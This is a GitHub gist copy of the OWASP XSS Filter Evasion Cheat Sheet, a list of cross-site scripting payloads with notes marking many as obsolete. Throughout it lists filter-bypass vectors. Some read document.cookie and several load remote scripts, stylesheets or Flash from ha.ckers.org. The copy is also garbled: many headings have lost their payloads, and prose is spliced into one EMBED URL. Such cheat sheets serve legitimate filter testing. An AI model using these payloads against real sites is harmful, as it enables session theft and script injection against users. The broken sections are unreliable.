Skip to content

Instantly share code, notes, and snippets.

@Killercodes
Forked from sseffa/xss-owasp-cheatsheet
Last active May 29, 2018 12:57
Show Gist options
  • Select an option

  • Save Killercodes/474a2f29c8c6cc972f481edc7a06b018 to your computer and use it in GitHub Desktop.

Select an option

Save Killercodes/474a2f29c8c6cc972f481edc7a06b018 to your computer and use it in GitHub Desktop.
xss-owasp-cheatsheet

https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet based on the RSnake original http://ha.ckers.org/xss.html Retrieved on 2013-11-20 Much of this wildly obsolete

XSS Locator 2

'';!--"<XSS>=&{()}

<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>

<IMG SRC="javascript:alert('XSS');">

<IMG SRC=JaVaScRiPt:alert('XSS')>

Grave Accent Obfuscation

<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>

Malformed A Tags (not actually malformed)

<a onmouseover="alert(document.cookie)">xxs link</a>
<a onmouseover=alert(document.cookie)>xxs link</a>

Malformed IMG Tags

<IMG """><SCRIPT>alert("XSS")</SCRIPT>">

fromCharCode

<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

Default SRC tag to get past filters that check SRC domain

<IMG SRC=# onmouseover="alert('xxs')">

Default SRC tag by leaving it empty

nickg; Unable to replicate in FF,Safari,Chrome 2014-01-10 <IMG SRC= onmouseover="alert('xxs')">

Default SRC tag by leaving it out entirely

<IMG onmouseover="alert('xxs')">

Decimal HTML character references

obsolete?

<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
<IMG SRC="/" onerror=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>

Decimal HTML character references without trailing semicolons

obsolete

<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
<IMG SRC="/x" onerror=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>

Hexadecimal HTML character references without trailing semicolons

obsolete form

<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
<IMG SRC="/" onerror=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

Embedded tab

obsolete form

<IMG SRC="jav   ascript:alert('XSS');">
<IMG SRC="/x" onerror="jav      ascript:alert('XSS');">

Embedded escaped tab

obsolete form

<IMG SRC="/" onerror="jav&#x09;ascript:alert('XSS');">

Embedded newline to break up XSS

obsolete form

<IMG SRC="jav&#x0A;ascript:alert('XSS');">

Embedded CR

obsolete form

<IMG SRC="/x" onerror="jav&#x0D;ascript:alert('XSS');">

Null

obsolete form

<IMG SRC="/x" onerror="jav%00ascript:alert('XSS');">

Spaces and meta chars before the JavaScript in images for XSS

obsolete form

<IMG SRC="/x" onerror=" &#14;  javascript:alert('XSS');">

Non-alpha-non-digit XS

<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>

this is bogus or obsolete

<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>

Extraneous open brackets

<<SCRIPT>alert("XSS");//<</SCRIPT>

No closing script tags

<SCRIPT SRC=http://ha.ckers.org/xss.js?< B >

Protocol resolution in script tags

<SCRIPT SRC=//ha.ckers.org/.j>

Half open HTML/JavaScript XSS vector

<IMG SRC="javascript:alert('XSS')"

Double open angle brackets

<iframe src=http://ha.ckers.org/scriptlet.html <

Escaping JavaScript escapes

N/A

End title tag

</TITLE><SCRIPT>alert("XSS");</SCRIPT>

INPUT image

<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">

BODY image

<BODY BACKGROUND="javascript:alert('XSS')">

IMG Dynsrc

Wildly obsolete <IMG DYNSRC="javascript:alert('XSS')">

IMG LOW src

Wildy obsolete <IMG LOWSRC="javascript:alert('XSS')">

List-style-image

likely obsolete <STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>

VBscript in an image

<IMG SRC='vbscript:msgbox("XSS")'>

Livescript (older versions of Netscape only)

Obsolete

BODY tag

BGSOUND

<BGSOUND SRC="javascript:alert('XSS');"

& JavaScript includes

Obsolete


STYLE sheet

Remote style sheet

Remote style sheet part 2

<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>

Remote style sheet part 3

Remote style sheet part 4

<STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>

STYLE tags with broken up JavaScript for XSS

<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>

STYLE attribute using a comment to break up expression

<IMG STYLE="xss:expr/XSS/ession(alert('XSS'))"

IMG STYLE with expression

N/A

STYLE tag (Older versions of Netscape only)

<STYLE TYPE="text/javascript">alert('XSS');</STYLE>

STYLE tag using background-image

<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE>

STYLE tag using background

<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>

Anonymous HTML with STYLE attribute

Local htc file

META

META using data

META

IFRAME

<IFRAME SRC="javascript:alert('XSS');"></IFRAME>

IFRAME Event based

<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>

FRAME

TABLE

TD

DIV background-image

DIV background-image with unicoded XSS exploit

DIV expression

"Downlevel-hidden block"

BASE tag

Object tag

Using an EMBED tag you can embed a Flash movie that contains XSS

<EMBED SRC="http://ha.ckers.Using an EMBED tag you can embed a Flash movie that contains XSS. Click here for a demo. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info).:org/xss.swf" AllowScriptAccess="always">

You can EMBED SVG which can contain your XSS vector

Using ActionScript inside flash can obfuscate your XSS vector

N/A

XML data island with CDATA obfuscation

Locally hosted XML with embedded JavaScript that is generated using an XML data island

XSS using HTML quote encapsulatio

<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT> <SCRIPT =">" SRC="http://ha.ckers.org/xss.js"></SCRIPT> <SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT> <SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT> <SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT> <SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT> <SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment